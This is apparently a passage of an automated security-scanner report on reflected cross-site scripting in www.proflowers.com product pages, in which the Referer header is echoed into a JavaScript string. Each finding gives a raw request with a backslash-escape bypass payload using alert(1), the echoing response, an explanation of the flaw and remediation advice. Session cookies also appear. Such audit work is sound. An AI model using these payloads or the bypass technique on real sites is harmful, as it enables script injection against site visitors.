GET /centerpieces-cnt HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=22298\"%3balert(1)//82cb355d40b
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:06:46 GMT Connection: close Content-Length: 132029
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_22298\\";alert(1)//82cb355d40b";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ae7a1\"%3balert(1)//8bf299cd9eb was submitted in the Referer HTTP header. This input was echoed as ae7a1\\";alert(1)//8bf299cd9eb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /chocolates-desserts-msb HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=ae7a1\"%3balert(1)//8bf299cd9eb
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:16:07 GMT Connection: close Content-Length: 182866
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_ae7a1\\";alert(1)//8bf299cd9eb";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ea416\"%3balert(1)//0769f1c6742 was submitted in the Referer HTTP header. This input was echoed as ea416\\";alert(1)//0769f1c6742 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /christmas-decorations-cdc HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=ea416\"%3balert(1)//0769f1c6742
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:07:29 GMT Connection: close Content-Length: 180740
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_ea416\\";alert(1)//0769f1c6742";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 17aa4\"%3balert(1)//3a44e1c2c9b was submitted in the Referer HTTP header. This input was echoed as 17aa4\\";alert(1)//3a44e1c2c9b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /christmas-flowers-chf HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=17aa4\"%3balert(1)//3a44e1c2c9b
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:07:55 GMT Connection: close Content-Length: 282969
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_17aa4\\";alert(1)//3a44e1c2c9b";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e35d8\"%3balert(1)//649898dce97 was submitted in the Referer HTTP header. This input was echoed as e35d8\\";alert(1)//649898dce97 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /christmas-gifts-cgt HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=e35d8\"%3balert(1)//649898dce97
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:11:11 GMT Connection: close Content-Length: 280560
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_e35d8\\";alert(1)//649898dce97";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 70cb3\"%3balert(1)//49fb4ae420b was submitted in the Referer HTTP header. This input was echoed as 70cb3\\";alert(1)//49fb4ae420b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /cookies-brownies-coo HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=70cb3\"%3balert(1)//49fb4ae420b
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:16:23 GMT Connection: close Content-Length: 333515
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_70cb3\\";alert(1)//49fb4ae420b";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f70d1\"%3balert(1)//4c79acfb3c2 was submitted in the Referer HTTP header. This input was echoed as f70d1\\";alert(1)//4c79acfb3c2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /corporate-gifts-cor HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=f70d1\"%3balert(1)//4c79acfb3c2
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:12:58 GMT Connection: close Content-Length: 267971
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_f70d1\\";alert(1)//4c79acfb3c2";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6b607\"%3balert(1)//87c9fe1963 was submitted in the Referer HTTP header. This input was echoed as 6b607\\";alert(1)//87c9fe1963 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /daisies-das HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=6b607\"%3balert(1)//87c9fe1963
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:12:36 GMT Connection: close Content-Length: 84247
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_6b607\\";alert(1)//87c9fe1963";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6c1a8\"%3balert(1)//1ac53cadede was submitted in the Referer HTTP header. This input was echoed as 6c1a8\\";alert(1)//1ac53cadede in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
